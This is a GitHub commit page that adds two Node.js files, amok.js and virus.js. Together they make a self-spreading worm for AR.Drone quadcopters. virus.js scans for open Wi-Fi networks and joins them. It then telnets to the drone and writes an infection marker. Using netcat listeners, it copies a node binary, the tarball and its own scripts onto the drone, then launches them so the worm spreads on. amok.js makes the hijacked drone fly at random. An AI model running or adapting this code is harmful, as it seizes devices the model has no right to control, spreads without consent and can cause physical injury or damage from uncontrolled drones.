Permalink
Browse files

all the things

  • Loading branch information...
1 parent 4f65112 commit fe5b7802ca85ea907b7f4b96bd9aea65d0bb0eb6 @substack committed Dec 1, 2012
Showing with 168 additions and 4 deletions.
  1. +64 −0 amok.js
  2. BIN ar-drone.tar
  3. +104 −4 virus.js
View
64 amok.js
@@ -0,0 +1,64 @@
+var ar = require('ar-drone');
+var drone = ar.createUdpControl();
+
+var ref = { emergency : true };
+var pcmd = {};
+
+setTimeout(function () {
+ ref.emergency = false;
+ ref.fly = true;
+ setTimeout(amok, 4000);
+}, 1000);
+
+setTimeout(function () {
+ ref.fly = false;
+}, 30 * 1000);
+
+setInterval(function () {
+ drone.ref(ref);
+ drone.pcmd(pcmd);
+ drone.flush();
+}, 30);
+
+function amok () {
+ var iv = setInterval(function () {
+ pcmd = {};
+ ref = { fly : true };
+ var actions = [
+ function () { up(Math.random() * 2 - 1) },
+ function () { left(Math.random() * 2 - 1) },
+ function () { turn(Math.random() * 2 - 1) },
+ ];
+ actions[Math.floor(Math.random() * actions.length)]();
+ }, 1000);
+
+ setTimeout(function () {
+ ref.fly = false;
+ }, 10 * 1000);
+}
+
+function takeOff () {
+ ref.fly = true;
+ ref.emergency = false;
+ drone.flush();
+}
+
+function land () {
+ ref.fly = false;
+}
+
+function front (v) {
+ pcmd.front = v;
+}
+
+function left (v) {
+ pcmd.left = v;
+}
+
+function up (v) {
+ pcmd.up = v;
+}
+
+function turn (v) {
+ pcmd.clockwise = v;
+}
View
BIN ar-drone.tar
Binary file not shown.
View
108 virus.js
@@ -1,10 +1,24 @@
var iw = require('./lib/iw')(process.argv[2] || 'ath0');
var net = require('net');
+var fs = require('fs');
var spawn = require('child_process').spawn;
var exec = require('child_process').exec;
+var canScan = process.argv[3] === 'scan';
+
function attack () {
- iw.scan(function (err, nodes) {
+ if (canScan) {
+ iw.scan(function (err, nodes) {
+ if (err) return console.error(err)
+ fs.writeFileSync(__dirname + '/nodes.json', JSON.stringify(nodes));
+ withNodes(nodes);
+ });
+ }
+ else {
+ withNodes(require('./nodes.json'));
+ }
+
+ function withNodes (nodes) {
var open = nodes.filter(function (node) {
return node.encrypted === false;
});
@@ -21,10 +35,12 @@ function attack () {
if (err) setTimeout(attack, 5000);
else dhcp(function (err) {
if (err) setTimeout(attack, 5000)
- else telnet('192.168.1.1')
+ else setTimeout(function () {
+ telnet('192.168.1.1');
+ }, 2000)
})
});
- });
+ }
}
function dhcp (cb) {
@@ -62,11 +78,95 @@ function getAddr (cb) {
}
function telnet (addr) {
+ console.log('> telnet ' + addr);
var s = net.connect(23, addr);
s.pipe(process.stdout, { end : false });
+ process.stdin.pipe(s);
+ process.stdin.resume();
+
+ var pending = 6;
+ s.on('data', function ondata (buf) {
+ if (/THIS DRONE IS INFECTED/.test(buf)) {
+ console.log('already infected');
+ //s.destroy();
+ }
+
+ String(buf).split('\n').forEach(function (line) {
+ if (/\+ Done/.test(line)) {
+ pending --;
+ if (pending === 0) done();
+ }
+ });
+
+ function done () {
+ s.removeListener('data', ondata);
+ s.write('tar xf ar-drone.tar\n');
+
+ setTimeout(function () {
+ s.write('./node amok.js &\n');
+ }, 10 * 1000);
+
+ setTimeout(function () {
+ s.write('./node virus.js &\n');
+ }, 15 * 1000);
+ }
+ });
+
s.on('connect', function () {
- s.write('whoami\n');
+ s.write('cat /tmp/INFECTED\n');
+ s.write('echo THIS DRONE ``IS INFECTED > /tmp/INFECTED\n');
+
+ s.write('mkdir -p /data/video/virus\n');
+ s.write('cd /data/video/virus\n');
+
+ var port = 1000 + Math.floor(64536 * Math.random());
+ s.write('nc -lp ' + port + ' > node &\n');
+ setTimeout(function () {
+ fs.createReadStream(process.execPath)
+ .pipe(net.connect(port, addr))
+ ;
+ }, 3000);
+
+ s.write('nc -lp ' + (port + 1) + ' > ar-drone.tar &\n');
+ setTimeout(function () {
+ fs.createReadStream(__dirname + '/ar-drone.tar')
+ .pipe(net.connect(port + 1, addr))
+ ;
+ }, 3000);
+
+ s.write('nc -lp ' + (port + 2) + ' > amok.js &\n');
+ setTimeout(function () {
+ fs.createReadStream(__dirname + '/amok.js')
+ .pipe(net.connect(port + 2, addr))
+ ;
+ }, 3000);
+
+ s.write('nc -lp ' + (port + 3) + ' > virus.js &\n');
+ setTimeout(function () {
+ fs.createReadStream(__dirname + '/virus.js')
+ .pipe(net.connect(port + 3, addr))
+ ;
+ }, 3000);
+
+ s.write('nc -lp ' + (port + 4) + ' > nodes.json &\n');
+ setTimeout(function () {
+ fs.createReadStream(__dirname + '/nodes.json')
+ .pipe(net.connect(port + 4, addr))
+ ;
+ }, 3000);
+
+ s.write('nc -lp ' + (port + 5) + ' > lib/iw.js &\n');
+ setTimeout(function () {
+ fs.createReadStream(__dirname + '/lib/iw.js')
+ .pipe(net.connect(port + 5, addr))
+ ;
+ }, 3000);
+
+ setTimeout(function () {
+ s.write('\n');
+ }, 20 * 1000);
});
+ return s;
}
attack();

0 comments on commit fe5b780

Please sign in to comment.